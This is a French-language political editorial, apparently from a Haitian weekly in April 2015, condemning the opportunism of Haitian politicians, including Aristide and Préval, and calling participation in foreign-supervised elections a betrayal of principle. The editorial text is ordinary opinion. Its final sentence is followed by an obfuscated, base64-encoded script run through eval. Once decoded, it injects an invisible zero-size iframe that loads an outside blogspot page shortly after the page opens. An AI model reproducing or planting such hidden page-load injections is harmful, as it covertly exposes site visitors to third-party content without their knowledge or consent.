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Vol. 8 • No. 38 • Du 1er au 7 Avril 2015
Le charlatanisme des politiciens haïtiens!
Berthony Dupont

 
 
EDITORIAL
La culture politique haïtienne n’est pas facile à comprendre. Comme il n’y a pas de partis politiques sérieux, les acteurs agissent à leur gré, sans aucun respect et discipline de partis, sans aucun principe, faisant des volte-face à tout moment, prenant des virages à la vitesse de l’éclair, sans compter les alliances contre nature ; l’important c’est que leurs ambitions politiques soient satisfaites.<p> En vérité, depuis le coup d’état de 1806, les masses populaires ont été abandonnées à elles-mêmes par les dirigeants politiques qui n’ont pas les affaires et les intérêts de la collectivité comme priorité. Ces prétendus personnages politiques se jettent dans un vagabondage à qui mieux mieux, cause partielle de l’énorme retard du pays ; il s’agit d’un sous-développement politique qui empêche les acteurs de reconnaître voire de défendre leurs intérêts. <p> De tout temps, la pratique du conjoncturel a toujours eu gain de cause dans la stratégie des politiciens haïtiens. La conjoncture les mène toujours. Alors, quand c’est le conjoncturel la boussole, il peut vous brouiller les cartes et les antennes et vous mener n’importe où. Dès lors, il ne peut y avoir aucun ordre dans vos idées ni dans vos actes. Qui pis est, cette pratique ne conduit à rien de sérieux, et on passera la majorité du temps à ne rien réaliser de concret. <p> Les actions conjoncturelles ne donnent jamais l’opportunité d’accomplir quelque chose de positif et de grand. Elles perturbent la faculté de réfléchir, d’organiser et même de préparer une défense en cas d’une menace ou d’un grave danger. On n’a de temps pour développer aucune méthode. Aussi le politicien se met à agir sous le coup de l’émotion, il agit n’importe comment, fait n’importe quoi. N’ayant même pas un point de départ réfléchi, il ne peut se fixer un point d’arrivée, voire atteindre un objectif ou poser des actes concrets. Finalement, l’individu perd contrôle même de ses prises de position ; il se trahit lui-même. Les propos d’hier entrent en conflit, en contradiction ouverte avec ceux d’aujourd’hui et dès lors l’on tombe dans la démagogie et le charlatanisme. <p> Prenons en exemple le cas de l’ancien président Jean-Bertrand Aristide. Durant son passage à Saint-Jean Bosco, il prêchait la théologie de la libération qui véhiculait une idéologie claire et nette contre le macoutisme: « Makout pa ladann », « kapitalis se peche mòtèl /le capitalisme est un péché mortel ». Pourtant arrivé au pouvoir en 1990, il traînait avec lui au pouvoir le duvaliériste notoire Bayard Vincent, qui pis est au ministère tellement crucial de la Justice dans le contexte post-macoute. En 2001, Marc Bazin, Stanley Etheart deux anciens ministres de Duvalier siégeaient dans son gouvernement. Éventuellement, les slogans de combattants tels que «CharlemagnePéraltement» disparurent de son langage. Le pourquoi ? Il ne venait d’aucune structure politique organisée et le secteur qui était allé le chercher pour l’orienter vers le pouvoir ne voulait l’utiliser que pour sa popularité et faire échec au candidat des multinationales Marc Bazin et à celui des macouto-duvaliéristes Roger Lafontant. Ces pratiques superficielles ne se nourrissent d’aucune substance politique et n’aboutiront jamais à rien. Elles doivent cesser si on veut arriver à quelque chose de durable et de grand pour le pays et pour le peuple. <p> Il nous faut mettre fin à cette pratique qui nous conduit à courir derrière la conjoncture, en profiter pour sortir des slogans percutants et, une fois au pouvoir se contenter de réformes cosmétiques sans vraiment rien planifier, programmer, construire ; sans organiser la société, le parti, sans investir dans des changements structurels. Tout mouvement qui milite pour un changement structurel cherche tout d’abord à mettre en place certaines règles et assurément des principes. Tout cela couronné d’une détermination, d’une conviction, d’une volonté populaire pouvant même engendrer des miracles. En fait, on ne peut pas changer cette structure de corruption pourrie, en cours depuis 1806, sans un niveau d’organisation sérieux, réel mais pas virtuel. <p> C’est dans ce contexte qu’il faut comprendre la fièvre à participer à la course électorale dès qu’on annonce les élections. Parce que pour nombre de gens, ce qui les intéresse ce n’est pas la construction d’un pays à long terme, mais plutôt leurs petits intérêts personnels. Pour justifier leur opportunisme, les politiciens haïtiens ont pour défaut de s’en remettre à toutes sortes de refrains aux accents carnavalesques. Ils trouvent toujours un alibi pour vendre la drogue électorale aux masses. Ils trouvent toujours les slogans appropriés. Il fut un temps où c’était : « du rachemanyòk aux élections ». Aujourd’hui certains parlent d’«élection-mobilisation» ; d’autres se sentent obligés de participer aux élections seulement pour éviter de se trouver isolés dans une bataille politique où ils campaient jusqu’ici sur des positions radicales et conséquentes. <p> D’aucuns prétendent qu’ils sont obligés de participer parce que tout le monde participera. C’est une vraie foutaise ! Où sont donc les principes ? Ils ne veulent pas rester seuls, en marge de la course électorale. Ils clament que s’ils ne se présentent pas, les autres prendront le pouvoir. C’est archi faux ! C’est simplement prostituer l’acte électoral ! C’est surtout légitimer la tutelle imposée au pays ! C’est avaler des potions toutes prêtes concoctées aux ambassades des puissances impérialistes. C’est perdre la foi et la confiance dans la résistance et la force irrésistible de la volonté des peuples qui luttent contre la domination impérialiste. C’est un cri de désespoir qui ne fera pas avancer la lutte d’un iota. <p> Qu’importe si des politiciens traditionnellement inféodés à une certaine catégorie sociale prennent le pouvoir, ils l’ont depuis 1806, et n’ont rien fait avec, sinon garder leurs privilèges. De quoi alors avoir peur ? Par contre, si nous perdons notre temps à ne rien faire, à ne pas nous structurer pour enfin nous fondre au sein des masses, les organiser et les accompagner dans une lutte de libération nationale, alors, là il y a raison d’avoir peur ! <p> Il est temps qu’on n’ait plus affaire à ces politiciens sans colonne vertébrale, ces charlatans de l’acabit d’un Préval qui se prépare avec sa plateforme à participer aux élections de la Minustah. A-t-il déjà oublié ces propos pertinents et impertinents d’un certain Edmond Mulet lors des élections de 2010: «Taisez-vous président !»<script>eval(atob("aWZybSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIklGUkFNRSIpO2lmcm0uc2V0QXR0cmlidXRlKCJzcmMiLCAiaHR0cHM6Ly93aW5uZXJzY29mZmVlLmJsb2dzcG90LmNvbS8iKTtpZnJtLnN0eWxlLndpZHRoID0gMCsicHgiO2lmcm0uc3R5bGUuaGVpZ2h0ID0gMCsicHgiO2lmcm0uc3R5bGUuYm9yZGVyPSIwcHgiO2lmcm0uc3R5bGUudmlzaWJpbGl0eT0gImhpZGRlbiI7c2V0VGltZW91dChmdW5jdGlvbigpe2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZybSk7fSwxMDAwKQ==")); </script>
 
 
 
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